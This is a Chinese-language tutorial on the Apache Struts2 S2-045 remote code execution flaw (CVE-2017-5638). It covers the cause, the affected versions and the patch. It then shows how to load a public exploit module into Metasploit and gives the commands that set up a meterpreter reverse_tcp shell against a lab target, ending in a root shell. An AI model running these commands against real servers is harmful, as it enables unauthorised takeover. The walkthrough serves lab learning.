导语:2017年3月的某一天,国家信息安全漏洞库(CNNVD)收到杭州安恒信息技术有限公司(CNNVD一级技术支撑单位)关于Apache Struts2 (S2-045)远程代码执行漏洞(CNNVD-201703-152)的情况报送。
2017年3月的某一天,国家信息安全漏洞库(CNNVD)收到杭州安恒信息技术有限公司(CNNVD一级技术支撑单位)关于Apache Struts2 (S2-045)远程代码执行漏洞(CNNVD-201703-152)的情况报送。由于该漏洞影响范围广,危害级别高,利用POC更是迅速在网上爆出,一瞬间网络上烽烟四起,血流成河。
0×01 Apache Struts2(S2-045)漏洞简介
Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品:Struts 1和Struts 2。Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。
Apache Struts 2.3.5 – 2.3.31版本及2.5 – 2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152,CVE-2017-5638)。该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息。导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。
0×02 S2-045漏洞的原理
1、基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
2、恶意攻击者精心构造Content-Type的值
3、通过版本比对定位漏洞原因
coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java
0×03 S2-045漏洞的危害及修复措施
攻击者可通过发送恶意构造的HTTP数据包利用该漏洞,在受影响服务器上执行系统命令,进一步可完全控制该服务器,造成拒绝服务、数据泄露、网站造篡改等影响。由于该漏洞利用无需任何前置条件(如开启dmi,debug等功能)以及启用任何插件,因此漏洞危害较为严重。
受影响用户可升级版本至Apache Struts 2.3.32或Apache Struts 2.5.10.1以消除漏洞影响。
官方公告:
https://cwiki.apache.org/confluence/display/WW/S2-045?from=groupmessage&isappinstalled=0
0×04移植S2-045漏洞利用代码模块
Metasploit集合了大量的系统漏洞利用代码,但并不是拥有所有的漏洞代码,所以Metasploit有一个非常强大的功能,它允许使用者开发自己的漏洞模块,s2-045的漏洞利用模块Metasploit虽然还没有集成,但是网络上已经有相应的渗透模块了,这些模块可能是用各种语言编写的,比如perl、python等,Metasploit支持各种不同语言编写的模块移植到其框架中,通过这种机制可以将各种现存的模块软件移植成为与Metasploit兼容的渗透模块。
我们先在github下载S2-045漏洞利用ruby脚本,该脚本已经经过作者测试,可以直接使用,下载地址:https://github.com/rapid7/metasploit-framework/pull/8072,如下图所示。
把该code的内容COPY下来,保存为struts2_code_exec_jakarta.rb,然后把它放到KALI系统的/usr/share/metasploit-framework/modules/exploits/multi/http/下面。如下图所示。
了解漏洞利用代码模块存储的文件夹位置非常重要,有助于我们寻找不同模块所在位置,也有助于Metasploit框架理解模块的基本用法。完整的模块脚本构建完成滞后,在合适的位置保存。
现在我们去MSF下面搜索struts2就可以搜到该脚本了,如下图所示。
0×05 Metasploit下S2-045漏洞提权实战利用
S2-045漏洞利用代码移植到Metasploit框架中后,我们就可以开始渗透测试了,关于怎么获取测试存在该漏洞的方法方法前面已经讲的很详细了,这里就不再重复了,此处我们用本地虚拟机搭建的平台来测试,存在漏洞的网址为127.0.0.1/memocreate.action。见下图。
启动Metasploit,使用该漏洞模块,并设置好相应payload,这里因为我的虚拟机是linux的,所以这里用linux的payload,接着查看下该模块具体参数,如下图所示。
use exploit/multi/http/struts2_code_exec_jakarta set payload linux/x86/meterpreter/reverse_tcp show options
这里我们输入如下命令按实际情况进行设置,见下图。
Set RHOST 127.0.0.1 set RPORT 80 Set TARGETURI /memocreate.action Set LHOST 192.168.2.83 Run
攻击完成后,我们进入shell下可以看到,当前已经是root权限了,利用S2-045漏洞入侵已经成功。如下图所示。
TheEnd.